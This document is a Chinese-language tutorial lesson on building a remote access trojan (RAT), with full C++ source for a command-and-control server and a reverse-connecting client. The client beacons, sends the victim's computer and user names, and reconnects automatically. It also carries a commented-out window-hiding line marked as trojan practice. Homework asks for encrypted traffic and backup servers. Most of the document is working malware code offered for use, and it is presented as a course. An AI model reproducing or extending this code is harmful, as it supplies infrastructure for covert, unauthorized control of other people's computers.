远程控制开发基础

1、通信架构与客户端上线功能

1、课程目标

  1. 理解C&C(Command & Control)通信架构
  2. 掌握远程控制的基本通信模式
  3. 实现客户端主动上线功能
  4. 设计可扩展的通信协议

2、名词解释

术语 全称 解释
C&C Command and Control 命令与控制,远程管理服务器
RAT Remote Access Trojan 远程访问木马
Beacon 信标 客户端定期与服务器通信
Heartbeat 心跳 保持连接活跃的定期消息
Reverse Connection 反向连接 客户端主动连接服务器

3、技术原理

1. 通信架构模式

正向连接 (Bind):
  Server → Client (服务器连接客户端)
  - 客户端监听端口
  - 需要客户端IP和开放端口
  - 容易被防火墙阻挡

反向连接 (Reverse):
  Client → Server (客户端连接服务器)
  - 服务器监听端口
  - 客户端主动连接
  - 更容易穿透防火墙 ✓ (推荐)

2. 系统架构

┌─────────────────────────────────────────────────────────────────┐
│                        控制端 (Server)                           │
│  ┌─────────────┐  ┌─────────────┐  ┌─────────────┐              │
│  │  通信模块    │  │  命令解析    │  │  数据展示    │              │
│  └─────────────┘  └─────────────┘  └─────────────┘              │
└──────────────────────────┬──────────────────────────────────────┘
                           │ TCP/HTTP/...
         ┌─────────────────┼─────────────────┐
         │                 │                 │
         ▼                 ▼                 ▼
    ┌─────────┐       ┌─────────┐       ┌─────────┐
    │ Client1 │       │ Client2 │       │ Client3 │
    │ (被控端) │       │ (被控端) │       │ (被控端) │
    └─────────┘       └─────────┘       └─────────┘

3. 通信协议设计

// 消息头结构
typedef struct _MSG_HEADER {
    DWORD magic;        // 魔数标识
    DWORD cmdType;      // 命令类型
    DWORD dataLen;      // 数据长度
    DWORD clientId;     // 客户端ID
} MSG_HEADER;

// 命令类型
#define CMD_ONLINE      0x0001  // 上线
#define CMD_HEARTBEAT   0x0002  // 心跳
#define CMD_SYSINFO     0x0003  // 系统信息
#define CMD_PROCLIST    0x0004  // 进程列表
#define CMD_FILELIST    0x0005  // 文件列表
#define CMD_DOWNLOAD    0x0006  // 下载文件
#define CMD_UPLOAD      0x0007  // 上传文件
#define CMD_SHELL       0x0008  // Shell命令
#define CMD_OFFLINE     0x00FF  // 下线

4、代码实现

1. 服务端(控制端)

// server.cpp
// C&C服务端

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <vector>
#include <map>
#include <thread>
#include <mutex>

#pragma comment(lib, "ws2_32.lib")

#define MAGIC_NUMBER    0x52415400  // "RAT\0"
#define SERVER_PORT     8888
#define MAX_CLIENTS     100

// 消息头
#pragma pack(push, 1)
typedef struct _MSG_HEADER {
    DWORD magic;
    DWORD cmdType;
    DWORD dataLen;
    DWORD clientId;
} MSG_HEADER, *PMSG_HEADER;

// 上线信息
typedef struct _ONLINE_INFO {
    char computerName[64];
    char userName[64];
    char osVersion[128];
    char ip[32];
    DWORD processId;
} ONLINE_INFO, *PONLINE_INFO;
#pragma pack(pop)

// 命令类型
#define CMD_ONLINE      0x0001
#define CMD_HEARTBEAT   0x0002
#define CMD_SYSINFO     0x0003
#define CMD_PROCLIST    0x0004
#define CMD_FILELIST    0x0005
#define CMD_DOWNLOAD    0x0006
#define CMD_UPLOAD      0x0007
#define CMD_SHELL       0x0008

// 客户端信息
typedef struct _CLIENT_INFO {
    SOCKET socket;
    DWORD clientId;
    ONLINE_INFO onlineInfo;
    DWORD lastHeartbeat;
    bool isAlive;
} CLIENT_INFO, *PCLIENT_INFO;

// 全局变量
std::map<DWORD, CLIENT_INFO> g_clients;
std::mutex g_clientMutex;
DWORD g_nextClientId = 1;

// 发送数据
bool SendData(SOCKET sock, const void* data, int len) {
    int sent = 0;
    while (sent < len) {
        int n = send(sock, (char*)data + sent, len - sent, 0);
        if (n <= 0) return false;
        sent += n;
    }
    return true;
}

// 接收数据
bool RecvData(SOCKET sock, void* data, int len) {
    int received = 0;
    while (received < len) {
        int n = recv(sock, (char*)data + received, len - received, 0);
        if (n <= 0) return false;
        received += n;
    }
    return true;
}

// 发送命令
bool SendCommand(SOCKET sock, DWORD clientId, DWORD cmdType, 
                 const void* data = NULL, DWORD dataLen = 0) {
    MSG_HEADER header;
    header.magic = MAGIC_NUMBER;
    header.cmdType = cmdType;
    header.dataLen = dataLen;
    header.clientId = clientId;
    
    if (!SendData(sock, &header, sizeof(header))) return false;
    if (dataLen > 0 && data) {
        if (!SendData(sock, data, dataLen)) return false;
    }
    return true;
}

// 处理客户端连接
void HandleClient(SOCKET clientSock, sockaddr_in clientAddr) {
    char clientIp[32];
    inet_ntop(AF_INET, &clientAddr.sin_addr, clientIp, sizeof(clientIp));
    
    printf("[+] New connection from %s:%d\n", clientIp, ntohs(clientAddr.sin_port));
    
    while (true) {
        // 接收消息头
        MSG_HEADER header;
        if (!RecvData(clientSock, &header, sizeof(header))) {
            break;
        }
        
        // 验证魔数
        if (header.magic != MAGIC_NUMBER) {
            printf("[-] Invalid magic number\n");
            break;
        }
        
        // 接收数据
        std::vector<char> data(header.dataLen);
        if (header.dataLen > 0) {
            if (!RecvData(clientSock, data.data(), header.dataLen)) {
                break;
            }
        }
        
        // 处理命令
        switch (header.cmdType) {
            case CMD_ONLINE: {
                PONLINE_INFO info = (PONLINE_INFO)data.data();
                strcpy_s(info->ip, clientIp);
                
                DWORD clientId = g_nextClientId++;
                
                CLIENT_INFO ci;
                ci.socket = clientSock;
                ci.clientId = clientId;
                ci.onlineInfo = *info;
                ci.lastHeartbeat = GetTickCount();
                ci.isAlive = true;
                
                {
                    std::lock_guard<std::mutex> lock(g_clientMutex);
                    g_clients[clientId] = ci;
                }
                
                printf("[+] Client %lu online: %s@%s (%s)\n",
                    clientId, info->userName, info->computerName, info->osVersion);
                
                // 发送确认
                SendCommand(clientSock, clientId, CMD_ONLINE);
                break;
            }
            
            case CMD_HEARTBEAT: {
                std::lock_guard<std::mutex> lock(g_clientMutex);
                if (g_clients.count(header.clientId)) {
                    g_clients[header.clientId].lastHeartbeat = GetTickCount();
                }
                break;
            }
            
            case CMD_SYSINFO:
            case CMD_PROCLIST:
            case CMD_FILELIST:
            case CMD_SHELL: {
                // 打印接收到的数据
                printf("[Client %lu] Response (%lu bytes):\n", 
                    header.clientId, header.dataLen);
                if (header.dataLen > 0) {
                    data.push_back(0);
                    printf("%s\n", data.data());
                }
                break;
            }
        }
    }
    
    // 客户端断开
    {
        std::lock_guard<std::mutex> lock(g_clientMutex);
        for (auto& pair : g_clients) {
            if (pair.second.socket == clientSock) {
                printf("[-] Client %lu offline\n", pair.first);
                pair.second.isAlive = false;
                break;
            }
        }
    }
    
    closesocket(clientSock);
}

// 显示客户端列表
void ListClients() {
    std::lock_guard<std::mutex> lock(g_clientMutex);
    
    printf("\n=== Online Clients ===\n");
    printf("%-5s %-20s %-15s %-15s %s\n", 
           "ID", "Computer", "User", "IP", "Status");
    printf("---------------------------------------------------------\n");
    
    for (auto& pair : g_clients) {
        if (pair.second.isAlive) {
            printf("%-5lu %-20s %-15s %-15s %s\n",
                pair.first,
                pair.second.onlineInfo.computerName,
                pair.second.onlineInfo.userName,
                pair.second.onlineInfo.ip,
                "Online");
        }
    }
    printf("\n");
}

// 向客户端发送命令
void SendToClient(DWORD clientId, DWORD cmdType, const char* data = NULL) {
    std::lock_guard<std::mutex> lock(g_clientMutex);
    
    if (g_clients.count(clientId) == 0 || !g_clients[clientId].isAlive) {
        printf("[-] Client %lu not found or offline\n", clientId);
        return;
    }
    
    SOCKET sock = g_clients[clientId].socket;
    DWORD dataLen = data ? (DWORD)strlen(data) : 0;
    
    if (SendCommand(sock, clientId, cmdType, data, dataLen)) {
        printf("[+] Command sent to client %lu\n", clientId);
    } else {
        printf("[-] Failed to send command\n");
    }
}

// 命令行处理
void CommandLoop() {
    char cmdLine[1024];
    
    printf("\nCommands:\n");
    printf("  list              - List online clients\n");
    printf("  select <id>       - Select client\n");
    printf("  sysinfo           - Get system info\n");
    printf("  proclist          - Get process list\n");
    printf("  filelist <path>   - List directory\n");
    printf("  shell <cmd>       - Execute command\n");
    printf("  exit              - Exit server\n\n");
    
    DWORD selectedClient = 0;
    
    while (true) {
        printf("[%lu]> ", selectedClient);
        fgets(cmdLine, sizeof(cmdLine), stdin);
        cmdLine[strcspn(cmdLine, "\r\n")] = 0;
        
        if (strlen(cmdLine) == 0) continue;
        
        if (strcmp(cmdLine, "list") == 0) {
            ListClients();
        }
        else if (strncmp(cmdLine, "select ", 7) == 0) {
            selectedClient = atoi(cmdLine + 7);
            printf("[+] Selected client: %lu\n", selectedClient);
        }
        else if (strcmp(cmdLine, "sysinfo") == 0) {
            SendToClient(selectedClient, CMD_SYSINFO);
        }
        else if (strcmp(cmdLine, "proclist") == 0) {
            SendToClient(selectedClient, CMD_PROCLIST);
        }
        else if (strncmp(cmdLine, "filelist ", 9) == 0) {
            SendToClient(selectedClient, CMD_FILELIST, cmdLine + 9);
        }
        else if (strncmp(cmdLine, "shell ", 6) == 0) {
            SendToClient(selectedClient, CMD_SHELL, cmdLine + 6);
        }
        else if (strcmp(cmdLine, "exit") == 0) {
            break;
        }
    }
}

int main() {
    printf("========================================\n");
    printf("     C&C Server                        \n");
    printf("========================================\n\n");
    
    // 初始化Winsock
    WSADATA wsa;
    WSAStartup(MAKEWORD(2, 2), &wsa);
    
    // 创建监听Socket
    SOCKET listenSock = socket(AF_INET, SOCK_STREAM, 0);
    
    sockaddr_in serverAddr = {0};
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(SERVER_PORT);
    serverAddr.sin_addr.s_addr = INADDR_ANY;
    
    bind(listenSock, (sockaddr*)&serverAddr, sizeof(serverAddr));
    listen(listenSock, MAX_CLIENTS);
    
    printf("[+] Server listening on port %d\n", SERVER_PORT);
    
    // 接受连接线程
    std::thread acceptThread([&]() {
        while (true) {
            sockaddr_in clientAddr;
            int addrLen = sizeof(clientAddr);
            
            SOCKET clientSock = accept(listenSock, (sockaddr*)&clientAddr, &addrLen);
            if (clientSock != INVALID_SOCKET) {
                std::thread(HandleClient, clientSock, clientAddr).detach();
            }
        }
    });
    acceptThread.detach();
    
    // 命令行交互
    CommandLoop();
    
    closesocket(listenSock);
    WSACleanup();
    
    return 0;
}

2. 客户端(被控端)

// client.cpp
// 远程控制客户端

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <string>

#pragma comment(lib, "ws2_32.lib")

#define MAGIC_NUMBER    0x52415400
#define SERVER_IP       "127.0.0.1"
#define SERVER_PORT     8888
#define HEARTBEAT_INTERVAL  30000  // 30秒

#pragma pack(push, 1)
typedef struct _MSG_HEADER {
    DWORD magic;
    DWORD cmdType;
    DWORD dataLen;
    DWORD clientId;
} MSG_HEADER;

typedef struct _ONLINE_INFO {
    char computerName[64];
    char userName[64];
    char osVersion[128];
    char ip[32];
    DWORD processId;
} ONLINE_INFO;
#pragma pack(pop)

#define CMD_ONLINE      0x0001
#define CMD_HEARTBEAT   0x0002
#define CMD_SYSINFO     0x0003
#define CMD_PROCLIST    0x0004
#define CMD_FILELIST    0x0005
#define CMD_DOWNLOAD    0x0006
#define CMD_UPLOAD      0x0007
#define CMD_SHELL       0x0008

SOCKET g_sock = INVALID_SOCKET;
DWORD g_clientId = 0;

// 发送响应
bool SendResponse(DWORD cmdType, const void* data, DWORD dataLen) {
    MSG_HEADER header;
    header.magic = MAGIC_NUMBER;
    header.cmdType = cmdType;
    header.dataLen = dataLen;
    header.clientId = g_clientId;
    
    if (send(g_sock, (char*)&header, sizeof(header), 0) <= 0) return false;
    if (dataLen > 0 && data) {
        if (send(g_sock, (char*)data, dataLen, 0) <= 0) return false;
    }
    return true;
}

// 收集上线信息
void GetOnlineInfo(PONLINE_INFO info) {
    memset(info, 0, sizeof(ONLINE_INFO));
    
    DWORD size = sizeof(info->computerName);
    GetComputerNameA(info->computerName, &size);
    
    size = sizeof(info->userName);
    GetUserNameA(info->userName, &size);
    
    // 获取OS版本
    OSVERSIONINFOA osvi = { sizeof(OSVERSIONINFOA) };
    // GetVersionExA(&osvi);  // 已弃用
    sprintf_s(info->osVersion, "Windows");
    
    info->processId = GetCurrentProcessId();
}

// 获取系统信息
std::string GetSystemInfo() {
    std::string result;
    char buf[1024];
    
    // 计算机名
    char computerName[64];
    DWORD size = sizeof(computerName);
    GetComputerNameA(computerName, &size);
    sprintf_s(buf, "Computer: %s\n", computerName);
    result += buf;
    
    // 用户名
    char userName[64];
    size = sizeof(userName);
    GetUserNameA(userName, &size);
    sprintf_s(buf, "User: %s\n", userName);
    result += buf;
    
    // 系统信息
    SYSTEM_INFO si;
    GetSystemInfo(&si);
    sprintf_s(buf, "Processors: %lu\n", si.dwNumberOfProcessors);
    result += buf;
    
    // 内存
    MEMORYSTATUSEX ms;
    ms.dwLength = sizeof(ms);
    GlobalMemoryStatusEx(&ms);
    sprintf_s(buf, "Memory: %llu MB\n", ms.ullTotalPhys / 1024 / 1024);
    result += buf;
    
    return result;
}

// 心跳线程
DWORD WINAPI HeartbeatThread(LPVOID param) {
    while (g_sock != INVALID_SOCKET) {
        Sleep(HEARTBEAT_INTERVAL);
        SendResponse(CMD_HEARTBEAT, NULL, 0);
    }
    return 0;
}

// 连接服务器
bool ConnectToServer() {
    g_sock = socket(AF_INET, SOCK_STREAM, 0);
    if (g_sock == INVALID_SOCKET) return false;
    
    sockaddr_in serverAddr = {0};
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(SERVER_PORT);
    inet_pton(AF_INET, SERVER_IP, &serverAddr.sin_addr);
    
    if (connect(g_sock, (sockaddr*)&serverAddr, sizeof(serverAddr)) != 0) {
        closesocket(g_sock);
        g_sock = INVALID_SOCKET;
        return false;
    }
    
    return true;
}

// 发送上线包
bool SendOnline() {
    ONLINE_INFO info;
    GetOnlineInfo(&info);
    
    return SendResponse(CMD_ONLINE, &info, sizeof(info));
}

// 主循环
void MainLoop() {
    // 启动心跳
    CreateThread(NULL, 0, HeartbeatThread, NULL, 0, NULL);
    
    while (true) {
        // 接收命令
        MSG_HEADER header;
        int n = recv(g_sock, (char*)&header, sizeof(header), 0);
        if (n <= 0) break;
        
        if (header.magic != MAGIC_NUMBER) continue;
        
        // 接收数据
        std::string data;
        if (header.dataLen > 0) {
            data.resize(header.dataLen);
            recv(g_sock, &data[0], header.dataLen, 0);
        }
        
        // 处理命令
        switch (header.cmdType) {
            case CMD_ONLINE:
                g_clientId = header.clientId;
                break;
                
            case CMD_SYSINFO: {
                std::string info = GetSystemInfo();
                SendResponse(CMD_SYSINFO, info.c_str(), (DWORD)info.size());
                break;
            }
            
            case CMD_SHELL: {
                // 将在后续课时实现
                break;
            }
        }
    }
}

int main() {
    // 隐藏控制台窗口 (实际木马会这样做)
    // ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    WSADATA wsa;
    WSAStartup(MAKEWORD(2, 2), &wsa);
    
    // 持续尝试连接
    while (true) {
        if (ConnectToServer()) {
            printf("[+] Connected to server\n");
            
            if (SendOnline()) {
                printf("[+] Online packet sent\n");
                MainLoop();
            }
            
            closesocket(g_sock);
            g_sock = INVALID_SOCKET;
        }
        
        Sleep(5000);  // 5秒后重连
    }
    
    WSACleanup();
    return 0;
}

3、课后作业

3.1、作业1:添加加密通信

为通信协议添加XOR或AES加密。

3.2、作业2:实现多服务器支持

客户端支持连接多个备用服务器。

3.3、作业3:添加认证机制

实现简单的客户端认证功能。